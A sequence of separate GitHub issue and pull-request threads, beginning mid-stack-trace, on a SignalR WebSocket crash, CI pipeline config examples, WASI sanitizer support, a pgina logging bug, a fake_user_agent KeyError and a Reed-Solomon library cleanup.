at Microsoft.AspNetCore.Server.Kestrel.Internal.System.IO.Pipelines.PipeCompletion.ThrowFailed()
at Microsoft.AspNetCore.Server.Kestrel.Internal.System.IO.Pipelines.Pipe.GetResult(ReadResult& result)
at Microsoft.AspNetCore.Server.Kestrel.Internal.System.IO.Pipelines.Pipe.Microsoft.AspNetCore.Server.Kestrel.Internal.System.IO.Pipelines.IReadableBufferAwaiter.GetResult()
at Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http.MessageBody.d__22.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http.FrameRequestStream.d__21.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Net.WebSockets.ManagedWebSocket.d__70.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Net.WebSockets.ManagedWebSocket.d__61.MoveNext()
at System.Net.WebSockets.ManagedWebSocket.d__61.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Microsoft.AspNetCore.Sockets.Internal.Transports.WebSocketsTransport.d__7.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Microsoft.AspNetCore.Sockets.Internal.Transports.WebSocketsTransport.d__6.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Microsoft.AspNetCore.Sockets.Internal.Transports.WebSocketsTransport.d__5.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Microsoft.AspNetCore.Sockets.DefaultConnectionContext.d__56.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Microsoft.AspNetCore.Sockets.DefaultConnectionContext.d__55.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at Microsoft.AspNetCore.Sockets.ConnectionManager.d__14.MoveNext()

A few other details that may be helpful...
-Occurs on latest bits running on a Pi 3 on Windows IOT Core
-The client is a the signalr-client.js client, also latest

I assume that when you say "crashing" it means that OnDisconnected is called with a non-null exception but the server continues to run and handle new connections, and the issue is that OnDisconnected is called long after the client disconnected.
If this is the case this should solve it.

Possibly related: https://github.com/aspnet/AspNetCoreModule/issues/77

@moozyk It actually crashes Kestrel completely and stops responding to all requests when it happens

Any updates on this?

A similar issue was reported here: https://github.com/aspnet/SignalR/issues/720.

@los93sol - the related issue was fixed. Can you try the latest bits and see if it still reproduces? The fix will be in packages newer than 1.0.0-alpha1-26703.

Closing, this should be fixed, if it happens again please reopen.

Still facing this exception for preview2 in React Native client. When the app killed without closing the connection properly.
The remote party closed the WebSocket connection without completing the close handshake. ---> Microsoft.AspNetCore.Server.Kestrel.Core.BadHttpRequestException: Unexpected end of request content.

"at Microsoft.AspNetCore.Server.Kestrel.Core.BadHttpRequestException.Throw(RequestRejectionReason reason)\r\n
at Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http.Http1MessageBody.PumpAsync()\r\n
at System.IO.Pipelines.PipeCompletion.ThrowLatchedException()\r\n
at System.IO.Pipelines.Pipe.GetReadResult(ReadResult& result)\r\n
at System.IO.Pipelines.Pipe.GetReadAsyncResult()\r\n
at System.IO.Pipelines.Pipe.DefaultPipeReader.GetResult(Int16 token)\r\n
at Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http.MessageBody.ReadAsync(Memory`1 buffer, CancellationToken cancellationToken)\r\n
at Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http.HttpRequestStream.ReadAsyncInternal(Memory`1 buffer, CancellationToken cancellationToken)\r\n
at System.Net.WebSockets.ManagedWebSocket.EnsureBufferContainsAsync(Int32 minimumRequiredBytes, Boolean throwOnPrematureClosure)\r\n
at System.Net.WebSockets.ManagedWebSocket.ReceiveAsyncPrivate[TWebSocketReceiveResultGetter,TWebSocketReceiveResult](Memory`1 payloadBuffer, CancellationToken cancellationToken, TWebSocketReceiveResultGetter resultGetter)"

Upgrade to rc1

Actually that specific exception will be fixed by the time the RTM ships. It was fixed here https://github.com/aspnet/KestrelHttpServer/commit/5c17bff55d018946572245c435a0361bde06ffd1

Tried and ended with this issue


pull request for e2e test at 11/20/2016 20:56:06

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

optest/docs/updated_at.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Create repository with example configurations to work with

Success manual scenario
pipeline:
  stages:
  - name: first
    autorun: true
  - name: second
    autorun: true
  - name: third
    autorun: false

jobs:
  - stage: first
    name: echo foo
    deploy:
      - echo foo
  - stage: second
    name: echo bar
    deploy:
      - echo bar
  - stage: third
    name: echo foobar
    deploy:
      - echo foobar

Long build
pipeline:
  stages:
  - name: first
    autorun: true
  - name: second
    autorun: true

jobs:
  - stage: first
    name: echo foo
    deploy:
      - sleep 1000
      - echo foo
  - stage: second
    name: echo bar
    deploy:
      - echo end

Failure
pipeline:
  stages:
  - name: first
    autorun: true
  - name: second
    autorun: true

jobs:
  - stage: first
    name: echo foo
    deploy:
      - echo foo
  - stage: second
    name: echo bar
    deploy:
      - exit 1

https://github.com/dick-the-deployer/examples.git


Sanitizer support?

Hi! Is there a path forward towards supporting the Clang sanitizers on wasm32-unknown-wasi?

It's something we're interested in, but there is not yet a specific path.
In theory, UBSan ought to be pretty straightforward, configuring the build and UBSan to be enabled for wasm32-wasi.
My understanding is that asan, msan, tsan, etc. would take more porting effort, because their normal implementations rely on mmap, but I'd be interested if anyone has ideas of what we could do here.

The emscripten ports of the sanitizers to wasm depend on JS for a bunch of things that wasm can't do; those are probably the things that would be a problem for WASI. The main missing things are:

Stack trace generation.
Program counter generation.
Return address generation.
mmap().
Shadow memory (multiple memories might help here).

Sanitizers are still desirable, The first step is to implement them in upstream LLVM, and then we could enable support for them in wasi-sdk. So I'll close this for now, and we can revisit when we have upstream features we can enable.


pgina not logging wrong logins with the plugin mysqllogger

current behavior:
only successful logins are logged into mysql
Desired behavior:
all logins, even failed logins are logged in mysql.
used plugins:
ldap, local machine, mysql logger
config of the mysql logger:

event mode
all events are enabled

versions tested: <IP_ADDRESS> and <IP_ADDRESS>

Did you have any solution at your problem?

Did you have any solution at your problem?

no - I do not use pgina anymore.


KeyError: 'chrome'

[myuser@XXXX]$ python3
Python 3.10.1 (main, Dec  7 2021, 00:00:00) [GCC 11.2.1 20211203 (Red Hat 11.2.1-7)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from fake_user_agent.main import user_agent
>>> user_agent("chrome")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 132, in user_agent
    return asyncio.run(main(browser, use_tempfile))
  File "/usr/lib64/python3.10/asyncio/runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "/usr/lib64/python3.10/asyncio/base_events.py", line 641, in run_until_complete
    return future.result()
  File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 111, in main
    return random_choose(browser, data)
  File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 89, in random_choose
    return random.choice(data[browser])
KeyError: 'chrome'

Hi raffaem:
After seeing your response, I tested with kali linux, it worked fine:
 ➜  ~ python3
Python 3.9.8 (main, Nov  7 2021, 15:47:09)
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from fake_user_agent.main import user_agent
>>> user_agent("chrome")
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.3

However, I still made some improvements today, one of which is cache temp folder name by TEMP_DIR = tempfile.gettempdir() rather than call this function every time when tempfile is needed to avoid getting different temp folder names for each run.
I'm not sure if your output is due to this, you could try again by upgrading to the newest version. If it's still the same, please reach me. Thank you.

Yeah it works now. Thanks!

[myuser@XXXX]$ python3
Python 3.10.1 (main, Dec  7 2021, 00:00:00) [GCC 11.2.1 20211203 (Red Hat 11.2.1-7)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from fake_user_agent.main import user_agent
>>> user_agent("chrome")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 132, in user_agent
    return asyncio.run(main(browser, use_tempfile))
  File "/usr/lib64/python3.10/asyncio/runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "/usr/lib64/python3.10/asyncio/base_events.py", line 641, in run_until_complete
    return future.result()
  File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 111, in main
    return random_choose(browser, data)
  File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 89, in random_choose
    return random.choice(data[browser])
KeyError: 'chrome'

I've got the same KeyErrors:
with blank call as ua = user_agent()
and with other browsers
ua = user_agent("chrome")
ua = user_agent("firefox")
what should I do for fix that?

Hi friend,
I've made an update 10 days ago. Just update the package and import it
like this:
"from fake_user_agent import user_agent"
The update includes:

made it even faster
added more terminal features
utilized retry mechanisms
added more granular debug info
changed module name from main.py to user_agent.py to better display its
debug info in third party modules in terms of filename

Sorry for the inconvenience.
Kate
On Sat, Aug 13, 2022 at 9:46 PM John_MEO_o @.***> wrote:

@.***$ python3
Python 3.10.1 (main, Dec  7 2021, 00:00:00) [GCC 11.2.1 20211203 (Red Hat 11.2.1-7)] on linux
Type "help", "copyright", "credits" or "license" for more information.

from fake_user_agent.main import user_agent
user_agent("chrome")
Traceback (most recent call last):
File "", line 1, in
File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 132, in user_agent
return asyncio.run(main(browser, use_tempfile))
File "/usr/lib64/python3.10/asyncio/runners.py", line 44, in run
return loop.run_until_complete(main)
File "/usr/lib64/python3.10/asyncio/base_events.py", line 641, in run_until_complete
return future.result()
File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 111, in main
return random_choose(browser, data)
File "/home/myuser/.local/lib/python3.10/site-packages/fake_user_agent/main.py", line 89, in random_choose
return random.choice(data[browser])
KeyError: 'chrome'

I've got the same KeyErrors:
with blank call as ua = user_agent()
and with other browsers
ua = user_agent("chrome")
ua = user_agent("firefox")
what should I do for fix that?
—
Reply to this email directly, view it on GitHub
https://github.com/mhwgoo/fake_user_agent/issues/2#issuecomment-1214162579,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AE7TNYO535JQMO64SKCHVSDVY6RLDANCNFSM5KYFZSJQ
.
You are receiving this because you were assigned.Message ID:
@.***>


Cleanup

Changes:

Got rid of other projects' sources in the repo
Removed unused galois functions (in preparation for making this more generic)
Removed the shards types and all functions referencing it in favor of a generic API that accommodates direct slices and boxed-slices. This reduces the audit and API surface substantially
Altered SIMD acceleration to be present under simd-accel feature to avoid libc linkage when unnecessary (this should make it viable for no-std, assuming rayon can be made optional)

Coverage decreased (-1.9%) to 95.811% when pulling 0e1f95f5ececaef50b78a4d5943434069515e195 on paritytech:rh-cleanup into 42a4748b8c5fb394abd9654d51afb62e6d360c3b on darrenldl:master.

Coverage decreased (-1.9%) to 95.811% when pulling 0e1f95f5ececaef50b78a4d5943434069515e195 on paritytech:rh-cleanup into 42a4748b8c5fb394abd9654d51afb62e6d360c3b on darrenldl:master.

Coverage decreased (-1.9%) to 95.811% when pulling 0e1f95f5ececaef50b78a4d5943434069515e195 on paritytech:rh-cleanup into 42a4748b8c5fb394abd9654d51afb62e6d360c3b on darrenldl:master.

I think the following lines might be missing in lib.rs
mod matrix_tests;
mod inversion_tree_tests;

as the tests under those files seem to be missing from the running tests list.

W.r.t. Adding back the SIMD, I would recommend doing this under a simd-accel feature as opposed to disabling it with pure-rust -- this is because features are supposed to be additive and SIMD acceleration adds dependencies in the build script and at link time.

Sounds good.
Feel free to bump the version number to 4.0.0 and update CHANGELOG.md in this PR.
I can do those later on as well if you feel like doing them in a separate PR
I'll inform some of the major users later on when 4.0.0 is published.

@darrenldl Will do -- I'll update the README, CHANGELOG, and major version. Maybe we should hold off on publishing until some generification changes are in. But I'd prefer to do that in a follow-on PR since it will contain major logic changes

Oh yep certainly, not going to rush the publishing - just simply feel like mentioning/doing admin tasks while I remember.
Just to make sure we're on the same page, my understanding is that we will wait until the actual work for GF(2^16) or GF(2^32) is done and the API is finalised before publishing. Would that be correct?

Yes, I think that would be the right approach

I'm not sure how the coverage for matrix.rs, errors.rs, and inversion_tree.rs could have dropped -- i haven't made any significant changes in those files

Don't worry about the coverage too much - right now it uses kcov, which doesn't account for Rust code very accurately, and code coverage in general is relatively noisy anyway. There might be other tools for more accurate Rust code coverage, but I haven't kept track with the trend of code coverage tools at all lately.
We can investigate this in another PR if there are new tools which vastly improve accuracy, but I don't feel it's very necessary.
I'll go through the reports after it's merged (reports don't seem to work properly in PRs) to see if anything's actually missing, but as long as it's 9X%, I'm not too worried really.

There are also some rayon changes here, and I might want to revisit parallelism somehow for 4.0.0 to make it more no-std suitable.

I can't remember if rayon provided significant speed up actually, I added them when I was playing catch up with the Go version of the library (go construct was used in encoding non-overlapping slices concurrently). Some use of rayon was to mimic that parallelism.
Feel free to remove the use of rayon as you deem necessary in this PR, we can do some benchmarks afterwards to see if it's desirable to add them back. Adding rayon back shouldn't be too difficult anyway.

Rayon might be better employed externally than internally. We could remove rayon for now and reintroduce as a wrapper for ReedSolomon that handles the parallel_param and fork/joins large shards.

Rayon might be better employed externally than internally. We could remove rayon for now and reintroduce as a wrapper for ReedSolomon that handles the parallel_param and fork/joins large shards.

Benchmark will need to be done to see if this would still be useful at all after removal of internal concurrent slice encoding. I very vaguely recall slice splitting (which is what parallel_param is for) is less helpful than concurrent slice encoding, but lets investigate that in another PR. Feel free to remove rayon entirely for now.

Just FYI, though you're probably aware of already, AppVeyor doesn't move onto testing the new commits until the current batch is done, while Travis-CI always jumps to the newest commit, so just ignore AppVeyor and use Travis-CI if you're looking for the newest test results.

I think that's all the changes I'd like to make in this PR. Thanks for the review and feedback so far!

I just went through the diffs of test outputs of several commits in the PR to make sure the disappearing tests are indeed no longer needed, and that does seem to be the case.
Thanks very much again for your work on this PR, I'll merge the PR once AppVeyor finishes.